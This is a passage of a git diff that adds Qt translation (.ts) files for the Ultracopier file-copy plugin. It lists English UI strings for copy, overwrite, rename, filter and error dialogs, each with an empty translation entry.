+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="615"/>
+ <source>Check the disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="625"/>
+ <source>Use this folder when destination is not set</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="637"/>
+ <source>Browse</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="659"/>
+ <source>Filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileErrorDialog</name>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="14"/>
+ <source>Error with file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="20"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="59"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="76"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="93"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="110"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="127"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="173"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="193"/>
+ <source>Try in with elevated privileges</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="200"/>
+ <source>Put to bottom</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="207"/>
+ <source>Retry</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="214"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="221"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileExistsDialog</name>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="14"/>
+ <source>The file exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="82"/>
+ <location filename="../../fileExistsDialog.ui" line="170"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="99"/>
+ <location filename="../../fileExistsDialog.ui" line="187"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="116"/>
+ <location filename="../../fileExistsDialog.ui" line="204"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="133"/>
+ <location filename="../../fileExistsDialog.ui" line="221"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="277"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="288"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="346"/>
+ <location filename="../../fileExistsDialog.ui" line="349"/>
+ <source>Overwrite if modification date differs</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="308"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="315"/>
+ <source>&amp;Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="325"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="332"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="341"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="354"/>
+ <location filename="../../fileExistsDialog.ui" line="357"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileIsSameDialog</name>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="40"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="110"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="70"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="14"/>
+ <source>The source and destination are same</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="90"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="159"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="170"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="190"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="197"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="204"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>folderExistsDialog</name>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="14"/>
+ <source>The source and destination is identical</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="82"/>
+ <location filename="../../folderExistsDialog.ui" line="150"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="99"/>
+ <location filename="../../folderExistsDialog.ui" line="160"/>
+ <source>Folder name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="116"/>
+ <location filename="../../folderExistsDialog.ui" line="184"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="227"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="238"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="245"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="252"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="259"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="266"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins/CopyEngine/Ultracopier/Languages/en/translation.ts b/plugins/CopyEngine/Ultracopier/Languages/en/translation.ts
new file mode 100644
index 0000000..a6b1027
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/Languages/en/translation.ts
@@ -0,0 +1,1289 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="en">
+<context>
+ <name>AvancedQFile</name>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="26"/>
+ <location filename="../../AvancedQFile.cpp" line="57"/>
+ <location filename="../../AvancedQFile.cpp" line="88"/>
+ <source>Not supported on this platform</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="40"/>
+ <source>Last modified date is wrong</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="71"/>
+ <source>Last access date is wrong</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="121"/>
+ <source>Unknown error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="187"/>
+ <source>Unknown error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="133"/>
+ <source>Path conversion error</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngine</name>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="429"/>
+ <location filename="../../CopyEngine.cpp" line="451"/>
+ <source>The engine is forced to move, you can&apos;t copy with it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="462"/>
+ <location filename="../../CopyEngine.cpp" line="484"/>
+ <source>The engine is forced to copy, you can&apos;t move with it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Use the actual destination &quot;%1&quot;?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="717"/>
+ <source>The mode has been forced previously. This is an internal error, please report it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1047"/>
+ <location filename="../../CopyEngine.cpp" line="1050"/>
+ <location filename="../../CopyEngine.cpp" line="1055"/>
+ <location filename="../../CopyEngine.cpp" line="1059"/>
+ <source>Ask</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1048"/>
+ <location filename="../../CopyEngine.cpp" line="1052"/>
+ <location filename="../../CopyEngine.cpp" line="1056"/>
+ <location filename="../../CopyEngine.cpp" line="1060"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1051"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1053"/>
+ <location filename="../../CopyEngine.cpp" line="1065"/>
+ <source>Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1057"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1061"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1062"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1063"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1064"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1067"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1068"/>
+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1069"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngineFactory</name>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="412"/>
+ <location filename="../../CopyEngineFactory.cpp" line="415"/>
+ <location filename="../../CopyEngineFactory.cpp" line="420"/>
+ <location filename="../../CopyEngineFactory.cpp" line="424"/>
+ <source>Ask</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="413"/>
+ <location filename="../../CopyEngineFactory.cpp" line="417"/>
+ <location filename="../../CopyEngineFactory.cpp" line="421"/>
+ <location filename="../../CopyEngineFactory.cpp" line="425"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="416"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="418"/>
+ <location filename="../../CopyEngineFactory.cpp" line="430"/>
+ <source>Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="422"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="426"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="427"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="428"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="429"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="432"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="433"/>
+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="434"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options engine is not loaded, can&apos;t access to the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>DiskSpace</name>
+ <message>
+ <location filename="../../DiskSpace.ui" line="14"/>
+ <source>Disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="24"/>
+ <source>You need more space on this drive to finish this transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="49"/>
+ <source>Continue</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="56"/>
+ <source>Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.cpp" line="23"/>
+ <source>Drives %1 have %2 available but need %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileErrorDialog</name>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="54"/>
+ <source>Error on folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="57"/>
+ <source>Folder name</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileExistsDialog</name>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="131"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="141"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileIsSameDialog</name>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="105"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="115"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FilterRules</name>
+ <message>
+ <location filename="../../FilterRules.ui" line="17"/>
+ <source>Filters dialog</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="33"/>
+ <source>Search:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="43"/>
+ <source>Search type:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="51"/>
+ <source>Raw text</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="56"/>
+ <source>Simplified regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="61"/>
+ <source>Perl&apos;s regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="69"/>
+ <source>Apply on:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="77"/>
+ <source>File</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="82"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="87"/>
+ <source>File and folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="95"/>
+ <source>Whole string must match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="125"/>
+ <source>The test string matches with the regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="102"/>
+ <source>Checking</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="108"/>
+ <source>The regex is valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="115"/>
+ <source>Test string:</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>Filters</name>
+ <message>
+ <location filename="../../Filters.ui" line="14"/>
+ <source>Filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="30"/>
+ <source>Exclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="93"/>
+ <source>Inclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="105"/>
+ <source>None = Include all</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="92"/>
+ <location filename="../../Filters.cpp" line="130"/>
+ <source>Raw text</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="95"/>
+ <location filename="../../Filters.cpp" line="133"/>
+ <source>Simplified regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="98"/>
+ <location filename="../../Filters.cpp" line="136"/>
+ <source>Perl&apos;s regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="106"/>
+ <location filename="../../Filters.cpp" line="144"/>
+ <source>Only on file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="109"/>
+ <location filename="../../Filters.cpp" line="147"/>
+ <source>Only on folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="115"/>
+ <location filename="../../Filters.cpp" line="153"/>
+ <location filename="../../Filters.cpp" line="215"/>
+ <location filename="../../Filters.cpp" line="254"/>
+ <source>Full match</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FolderExistsDialog</name>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="51"/>
+ <source>Folder already exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="116"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="126"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ListThread</name>
+ <message>
+ <location filename="../../ListThread.cpp" line="1447"/>
+ <location filename="../../ListThread.cpp" line="2369"/>
+ <source>Unable do to move or copy item into wrong forced mode: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1454"/>
+ <location filename="../../ListThread.cpp" line="2376"/>
+ <source>Unable to save the transfer list: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1470"/>
+ <source>Problem reading file, or file-size is 0</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1477"/>
+ <source>Wrong header: &quot;%1&quot;</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1486"/>
+ <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1495"/>
+ <source>The transfer list is in copy mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1501"/>
+ <source>The transfer list is in move mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1557"/>
+ <source>Some errors have been found during the line parsing</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1565"/>
+ <source>Unable to open the transfer list: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>MkPath</name>
+ <message>
+ <location filename="../../MkPath.cpp" line="142"/>
+ <source>Unable to create the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="155"/>
+ <source>The source folder don&apos;t exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="183"/>
+ <source>Unable to temporary rename the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="206"/>
+ <source>Unable to do the final real move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="232"/>
+ <source>Unable to move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="93"/>
+ <location filename="../../MkPath.cpp" line="275"/>
+ <source>Unable to remove</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ReadThread</name>
+ <message>
+ <location filename="../../ReadThread.cpp" line="55"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="184"/>
+ <source>Internal error reading the source file:block size out of range</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="192"/>
+ <location filename="../../ReadThread.cpp" line="408"/>
+ <source>Unable to read the source file: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="233"/>
+ <location filename="../../ReadThread.cpp" line="456"/>
+ <source>File truncated during the read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>RenamingRules</name>
+ <message>
+ <location filename="../../RenamingRules.ui" line="14"/>
+ <source>Renaming rules</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="26"/>
+ <source>First renaming</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="32"/>
+ <source>%name% - copy</source>
+ <extracomment>%name% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="39"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment> should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="49"/>
+ <source>Second renaming</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="55"/>
+ <source>%name% - copy (%number%)</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="62"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="39"/>
+ <location filename="../../RenamingRules.cpp" line="62"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="43"/>
+ <location filename="../../RenamingRules.cpp" line="73"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ScanFileOrFolder</name>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="265"/>
+ <source>Blacklisted folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="327"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="393"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="337"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="403"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="441"/>
+ <source>This is not a folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="443"/>
+ <source>The folder does exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="445"/>
+ <source>The folder is not readable</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
